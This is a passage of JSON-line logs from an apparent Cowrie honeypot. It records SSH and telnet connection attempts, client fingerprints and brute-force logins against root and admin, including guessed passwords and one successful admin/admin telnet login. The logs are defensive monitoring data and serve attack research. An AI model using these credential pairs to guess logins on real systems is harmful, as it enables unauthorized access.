des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:38:46.905813Z","src_ip":"163.245.222.56","session":"a9cc85e57d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$5678","message":"login attempt [root/!@#$5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:38:46.963507Z","src_ip":"163.245.222.56","session":"a9cc85e57d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:38:47.974329Z","src_ip":"163.245.222.56","session":"a9cc85e57d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.250.165.68","src_port":33192,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd959f4a9810","protocol":"telnet","message":"New connection: 47.250.165.68:33192 (10.17.0.5:23) [session: cd959f4a9810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:38:56.854704Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":58894,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f32366f82bb","protocol":"ssh","message":"New connection: 2.27.36.16:58894 (159.203.135.109:22) [session: 7f32366f82bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:19.299211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:19.303311Z","src_ip":"2.27.36.16","session":"7f32366f82bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:19.402585Z","src_ip":"2.27.36.16","session":"7f32366f82bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unreal","message":"login attempt [root/unreal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:19.832574Z","src_ip":"2.27.36.16","session":"7f32366f82bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:20.936242Z","src_ip":"2.27.36.16","session":"7f32366f82bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.184.231.173","src_port":58714,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d3e16683405","protocol":"telnet","message":"New connection: 60.184.231.173:58714 (159.203.135.109:23) [session: 5d3e16683405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:29.420896Z"}
{"eventid":"cowrie.session.closed","duration":12.74457836151123,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:42.165356Z","src_ip":"60.184.231.173","session":"5d3e16683405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":59186,"dst_ip":"10.17.0.5","dst_port":23,"session":"12fdd313e1b4","protocol":"telnet","message":"New connection: 167.71.238.254:59186 (10.17.0.5:23) [session: 12fdd313e1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:42.244095Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.33.66","src_port":44240,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce79aa3d675c","protocol":"ssh","message":"New connection: 148.135.33.66:44240 (10.17.0.5:22) [session: ce79aa3d675c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:49.758507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:49.763284Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:49.833838Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:21:70:b9:56:95:fd:4b:76:9f:32:ef:8e:fc:f4:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCHd3T5E3xjscXRqQKsWetoHO2ujKTvDaOhxGekNHIj4/FgMIcf/4Dra9vWW5ihsmYVLI6fxzxpoDaqgIyTvTXS2fcCoR1Vp79bnDUPw+mH4mPW0gdFH58iRKHZaZY1VYz+yFBNdAlgFdi1dksdfBo8ezBvr5xYLT7mA57urC1YvX70RYIv/pjYAkWKtmb5Knmt/cSigzQzWvOkaRtG8cV5FrXJBHXRaxVZyp7XfLVUcCHozSMksX1tGkBdy0FId0J3fkKPIJHcelok7o5zP6YjhzIK6UTJ4j9OtEc7X354w75rnAYR7VVqecm1lABgsQ66dWS855ch8Ey0Oy2Zcb3t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:21:70:b9:56:95:fd:4b:76:9f:32:ef:8e:fc:f4:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.163440Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:21:70:b9:56:95:fd:4b:76:9f:32:ef:8e:fc:f4:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCHd3T5E3xjscXRqQKsWetoHO2ujKTvDaOhxGekNHIj4/FgMIcf/4Dra9vWW5ihsmYVLI6fxzxpoDaqgIyTvTXS2fcCoR1Vp79bnDUPw+mH4mPW0gdFH58iRKHZaZY1VYz+yFBNdAlgFdi1dksdfBo8ezBvr5xYLT7mA57urC1YvX70RYIv/pjYAkWKtmb5Knmt/cSigzQzWvOkaRtG8cV5FrXJBHXRaxVZyp7XfLVUcCHozSMksX1tGkBdy0FId0J3fkKPIJHcelok7o5zP6YjhzIK6UTJ4j9OtEc7X354w75rnAYR7VVqecm1lABgsQ66dWS855ch8Ey0Oy2Zcb3t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.166993Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:cf:f4:d4:65:63:67:09:c9:6e:2b:01:e1:26:ac:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUfL8IYw7VnB0xQrY5xKraxlQFniFI/kwlrDdyV43sNS7btvj8kIcc4h5xlxVJ8sHkMNKueJDeaffCuxyf3DP3BQxF5a7uCWIlrvI+kxj9yNgu+TVwKqI9AZ0qLM0gRYc7ZoqMzMBu8ZTrSio3Rya+xh6ssDLZG1VXmc4TaTBNuCZMPnwTSSV4ZW2+7OQHt7ywWFACe/+upVR6WCtmWWpg3E9pazA4EHGHlLNoyLGnJTi+89aKDZVCmBPdTqUlUeydiF4ZADPbPPk78OKfCcOVtEfm7x+1qh3EVZBL8qPOzRra7XOhJjOfJ9+YVYa9jFbZmytMiBSuVG56NLqcw4qj+oRr8Q+36jVtKt+PiAw9csJR103A11ZOC0lc3iA4Ug7G63u67Bfa+NcBPx44UVg8m9AjzupFS1OD/pUid9k1P/FYZr6WcD8INEYq2qB000q1Ng5Qu976qX751YmXD+ZsXm4qJcee4jwngARAR7nhmy7bo8af4asdd195uSLUtaIQ79nyq00+LyPOSdutHmNyuK60S5B/WiztWsd9VdDv7OdM/sINUWf5NfsnM38Cn7+cvfolibZ3n85Eymv9228JFdIY230VfWq8zJWwCQTLwPkEhBkkDcV6YtCU05eRW7VnUtgaJCP/Ea/3VSkM3830YHwVBf/qvBzO5ntPWPu32w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:cf:f4:d4:65:63:67:09:c9:6e:2b:01:e1:26:ac:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.235434Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:cf:f4:d4:65:63:67:09:c9:6e:2b:01:e1:26:ac:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUfL8IYw7VnB0xQrY5xKraxlQFniFI/kwlrDdyV43sNS7btvj8kIcc4h5xlxVJ8sHkMNKueJDeaffCuxyf3DP3BQxF5a7uCWIlrvI+kxj9yNgu+TVwKqI9AZ0qLM0gRYc7ZoqMzMBu8ZTrSio3Rya+xh6ssDLZG1VXmc4TaTBNuCZMPnwTSSV4ZW2+7OQHt7ywWFACe/+upVR6WCtmWWpg3E9pazA4EHGHlLNoyLGnJTi+89aKDZVCmBPdTqUlUeydiF4ZADPbPPk78OKfCcOVtEfm7x+1qh3EVZBL8qPOzRra7XOhJjOfJ9+YVYa9jFbZmytMiBSuVG56NLqcw4qj+oRr8Q+36jVtKt+PiAw9csJR103A11ZOC0lc3iA4Ug7G63u67Bfa+NcBPx44UVg8m9AjzupFS1OD/pUid9k1P/FYZr6WcD8INEYq2qB000q1Ng5Qu976qX751YmXD+ZsXm4qJcee4jwngARAR7nhmy7bo8af4asdd195uSLUtaIQ79nyq00+LyPOSdutHmNyuK60S5B/WiztWsd9VdDv7OdM/sINUWf5NfsnM38Cn7+cvfolibZ3n85Eymv9228JFdIY230VfWq8zJWwCQTLwPkEhBkkDcV6YtCU05eRW7VnUtgaJCP/Ea/3VSkM3830YHwVBf/qvBzO5ntPWPu32w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.239078Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:e4:d2:60:77:64:a8:f8:34:2e:e0:3d:8d:c9:c9:46","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPfloqkG0pFDLJWXxv21eeWz9V9SdxNSAVoKY6iQF8S5flmxTLFmhgUPOUrxddG4VJ4SRT4ymHvHLEQHsE3ujpOK/M7pH/8N6NV6GTFbSXSkwH+s0Zlam3Bn7sHNMSMZ8BZeCiSckYJnViCYH92K23T9NtnHZqpzjHEoqM3On31tAAAAFQCZw0Zl97CnIYQP6NEymhz1NiwgQwAAAIBrSiNhVUljQOLJT2gUa9Sa7o8KdiMDcAaOZ70wILI9FO+JbRtwNl0xoaQnETt/2Hnwg9alHWPqm/TEC5Jtc1XRiX7joDmCpcn/g7hVx2vzBQNknTulvfsFNTYZ+rdYJ+xtH3VXaTVV216WfK2pVvBno8Ig1uQJVXp68zLEqj583gAAAIEA3+nKul+chbJ72jS7LKdF9zZeiIQr2huSIhIAcv9igJbNii57YUHOBTMtPvZPUoLyEMgk+uqnN+XT25Dklz0CQOZsBq5/oHbHj7ixRkJMZFx36fBB95snsjGn4Xxl31KL6+K7kLvtpZgGBIko84IaEjdMzTRf8VUtLDF4V+XwqHA=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 96:e4:d2:60:77:64:a8:f8:34:2e:e0:3d:8d:c9:c9:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.308065Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:e4:d2:60:77:64:a8:f8:34:2e:e0:3d:8d:c9:c9:46","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPfloqkG0pFDLJWXxv21eeWz9V9SdxNSAVoKY6iQF8S5flmxTLFmhgUPOUrxddG4VJ4SRT4ymHvHLEQHsE3ujpOK/M7pH/8N6NV6GTFbSXSkwH+s0Zlam3Bn7sHNMSMZ8BZeCiSckYJnViCYH92K23T9NtnHZqpzjHEoqM3On31tAAAAFQCZw0Zl97CnIYQP6NEymhz1NiwgQwAAAIBrSiNhVUljQOLJT2gUa9Sa7o8KdiMDcAaOZ70wILI9FO+JbRtwNl0xoaQnETt/2Hnwg9alHWPqm/TEC5Jtc1XRiX7joDmCpcn/g7hVx2vzBQNknTulvfsFNTYZ+rdYJ+xtH3VXaTVV216WfK2pVvBno8Ig1uQJVXp68zLEqj583gAAAIEA3+nKul+chbJ72jS7LKdF9zZeiIQr2huSIhIAcv9igJbNii57YUHOBTMtPvZPUoLyEMgk+uqnN+XT25Dklz0CQOZsBq5/oHbHj7ixRkJMZFx36fBB95snsjGn4Xxl31KL6+K7kLvtpZgGBIko84IaEjdMzTRf8VUtLDF4V+XwqHA=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.314865Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:e4:68:01:fc:57:47:07:3b:5d:c7:37:35:dd:d9:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvkBn71F2vgJ9fiUtVReXNvZeXth5WpMrS8ynTtQ4Wz0w5mIYryPejwrTCEH6RBk+YgTm7ZOB2Owt1RwlOdy4n1gqQV0cLCeId/V5iBtc+3vxgmTDYXdObfdSsZiAeqHNvfG8/tZrRLpfvn7j60cMvDHoOaPBaMDJGO1o9WmiBdKv3YmpY035MBylOKEloe1x/VQb6J7MLmXXlEfFjINyF38BUwcZtyH0/PB5L0MqjgjDzoANvyg8A3ScrZyGqbNBJmH/VvqqpCaTe039r2BshNjqagpBrxklBikrMPHvy8iyDaNIJrpKFS31jF/ZlpYHWkn0BSbXEclxMsf+gKQ4jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:e4:68:01:fc:57:47:07:3b:5d:c7:37:35:dd:d9:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.384575Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:e4:68:01:fc:57:47:07:3b:5d:c7:37:35:dd:d9:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvkBn71F2vgJ9fiUtVReXNvZeXth5WpMrS8ynTtQ4Wz0w5mIYryPejwrTCEH6RBk+YgTm7ZOB2Owt1RwlOdy4n1gqQV0cLCeId/V5iBtc+3vxgmTDYXdObfdSsZiAeqHNvfG8/tZrRLpfvn7j60cMvDHoOaPBaMDJGO1o9WmiBdKv3YmpY035MBylOKEloe1x/VQb6J7MLmXXlEfFjINyF38BUwcZtyH0/PB5L0MqjgjDzoANvyg8A3ScrZyGqbNBJmH/VvqqpCaTe039r2BshNjqagpBrxklBikrMPHvy8iyDaNIJrpKFS31jF/ZlpYHWkn0BSbXEclxMsf+gKQ4jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.388970Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:f1:b3:5e:30:d0:2c:2b:0b:16:73:e8:e7:91:11:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC519cCyPDY71ZtkX6zcTd4kpUdBAFpO9ujU1SNCIkLLm0cC2nKayMwPuMOnfuY2gyoWf1K1FlS/CqkLlV9T7uoVMuQnnReLCV48HAil/x6jJbrdn6fkzAzLM3TJ9l8byFzU+chL/gkoClSdN1etfVgnYlCn1CI92+vQRSlCM1xJdnbzHr9yEzKbRPnKC2NQE5XF7bm43HMQAvc3f6nKGjWbATsBP2hV2eCaRmS6bfDw+F2SmebzOA09QxR0nuPFBNb0oZOM7XPy8s0M/W0e830BfmnEkCjsUdtt1r4WaQOJkJ0zZyQOOgMRQquC6sQwGFNmk1JIYITNO+BrNc80/qZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:f1:b3:5e:30:d0:2c:2b:0b:16:73:e8:e7:91:11:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.458622Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:f1:b3:5e:30:d0:2c:2b:0b:16:73:e8:e7:91:11:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC519cCyPDY71ZtkX6zcTd4kpUdBAFpO9ujU1SNCIkLLm0cC2nKayMwPuMOnfuY2gyoWf1K1FlS/CqkLlV9T7uoVMuQnnReLCV48HAil/x6jJbrdn6fkzAzLM3TJ9l8byFzU+chL/gkoClSdN1etfVgnYlCn1CI92+vQRSlCM1xJdnbzHr9yEzKbRPnKC2NQE5XF7bm43HMQAvc3f6nKGjWbATsBP2hV2eCaRmS6bfDw+F2SmebzOA09QxR0nuPFBNb0oZOM7XPy8s0M/W0e830BfmnEkCjsUdtt1r4WaQOJkJ0zZyQOOgMRQquC6sQwGFNmk1JIYITNO+BrNc80/qZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.462354Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:50.531925Z","src_ip":"148.135.33.66","session":"ce79aa3d675c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":62150,"dst_ip":"159.203.135.109","dst_port":22,"session":"91eca71261cf","protocol":"ssh","message":"New connection: 205.254.166.156:62150 (159.203.135.109:22) [session: 91eca71261cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:58.647937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:58.652479Z","src_ip":"205.254.166.156","session":"91eca71261cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:58.864618Z","src_ip":"205.254.166.156","session":"91eca71261cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"generator","message":"login attempt [root/generator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:59.741959Z","src_ip":"205.254.166.156","session":"91eca71261cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:59.833865Z","src_ip":"47.250.165.68","session":"cd959f4a9810","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:39:59.892138Z","src_ip":"47.250.165.68","session":"cd959f4a9810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:00.956824Z","src_ip":"205.254.166.156","session":"91eca71261cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":55994,"dst_ip":"159.203.135.109","dst_port":22,"session":"98304847f345","protocol":"ssh","message":"New connection: 163.245.222.56:55994 (159.203.135.109:22) [session: 98304847f345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:02.461896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:40:02.469445Z","src_ip":"163.245.222.56","session":"98304847f345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14